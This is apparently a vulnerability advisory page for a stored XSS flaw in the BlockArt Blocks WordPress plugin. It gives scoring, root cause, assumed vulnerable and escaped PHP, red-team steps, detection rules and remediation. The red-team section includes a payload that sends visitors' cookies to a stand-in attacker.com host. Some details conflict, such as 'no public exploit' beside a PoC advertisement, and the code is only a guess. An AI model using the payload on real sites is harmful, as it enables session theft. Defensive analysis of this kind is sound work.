CVE-2025-14283
Executive Summary
CVE-2025-14283 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the BlockArt Blocks WordPress plugin (versions up to and including 2.2.14). The flaw resides in the BlockArt Counter block, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with at least Contributor-level access can inject arbitrary JavaScript into a page. When any user (including administrators) visits the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code or Nuclei template is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is a third-party component, the supply chain risk is moderate. Users must manually update the plugin once a patch is released. No known malicious packages or typosquatting variants have been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires authentication, but Contributor-level access is often easy to obtain in multi-author WordPress environments. The stored XSS can affect all users, including administrators, making it a credible threat for privilege escalation or site compromise.
Deep Dive & Mechanics
The vulnerability exists in the blockart-blocks plugin, specifically in the BlockArt Counter block. This block allows users to set attributes such as counterValue, counterPrefix, counterSuffix, and counterAnimation. The plugin fails to properly sanitize and escape these attributes before rendering them in the page HTML.
When a Contributor or higher role creates or edits a page using the BlockArt Counter block, they can inject malicious JavaScript into one of these attributes. For example, the counterPrefix attribute might be rendered directly into a <span> tag without escaping. The injected script is then stored in the WordPress database and executed in the browser of any visitor who views the page.
The root cause is insufficient input validation and output escaping. WordPress provides functions like esc_attr() and wp_kses_post() for safe output, but the plugin likely uses raw attribute values without these protections.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be in the plugin's render function for the Counter block. A typical vulnerable pattern might look like:
Vulnerable Code (PHP):
function render_counter_block($attributes) {
$prefix = $attributes['counterPrefix'];
$suffix = $attributes['counterSuffix'];
$value = $attributes['counterValue'];
return "<div class='blockart-counter'>
<span class='counter-prefix'>{$prefix}</span>
<span class='counter-value'>{$value}</span>
<span class='counter-suffix'>{$suffix}</span>
</div>";
}
Patched Code (Expected):
function render_counter_block($attributes) {
$prefix = esc_html($attributes['counterPrefix']);
$suffix = esc_html($attributes['counterSuffix']);
$value = esc_html($attributes['counterValue']);
return "<div class='blockart-counter'>
<span class='counter-prefix'>{$prefix}</span>
<span class='counter-value'>{$value}</span>
<span class='counter-suffix'>{$suffix}</span>
</div>";
}
The patch would use esc_html() or esc_attr() to escape the output, preventing script injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with BlockArt Blocks plugin <= 2.2.14
- Contributor-level account or higher
Steps:
- Log in as a Contributor.
- Create a new page or edit an existing one.
- Add the BlockArt Counter block.
- In the block settings, set the
counterPrefixattribute to:<script>alert('XSS')</script> - Publish or update the page.
- When any user visits the page, the script executes.
Advanced Payload (Session Hijacking):
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for unusual block attribute values.
- Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.
- Scan pages for stored XSS using automated tools like WPScan.
Hardening:
- Restrict Contributor-level access to trusted users only.
- Disable the BlockArt Counter block if not needed.
- Apply a virtual patch via WAF rules (see Suricata rule below).
- Monitor for plugin updates and apply immediately.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/blockart-blocks/(entire plugin directory) - Database: Rows in
wp_postsorwp_postmetacontaining<script>tags in block attributes. - Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
- Logs: WordPress debug log entries showing unexpected HTML in block attributes.
Detection Engineering
YARA Rule
rule detect_blockart_xss {
meta:
description = "Detects stored XSS payloads in BlockArt Counter block attributes"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14283"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$blockart_counter = "blockart-counter"
condition:
$blockart_counter and $xss_payload
}
Sigma Rule
title: Stored XSS via BlockArt Counter Block
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in BlockArt Counter block attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url: /wp-admin/admin-ajax.php
http.body|contains: 'blockart-counter'
filter:
http.body|contains: 'esc_html'
condition: selection and not filter
falsepositives:
- Legitimate use of HTML in block attributes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14283 - BlockArt Counter Stored XSS Attempt"; flow:to_server; content:"blockart-counter"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the BlockArt Blocks plugin until a patch is released.
- Review all pages created by Contributors for suspicious content.
- Change all user passwords if compromise is suspected.
Long-term Fix:
- Apply the official patch once released by the vendor.
- Implement a Web Application Firewall (WAF) with XSS rules.
- Enforce strict role-based access control (only trusted users get Contributor+).
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) to block XSS payloads.
- Manually edit the plugin file to add
esc_html()to the Counter block render function (not recommended for non-developers).
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.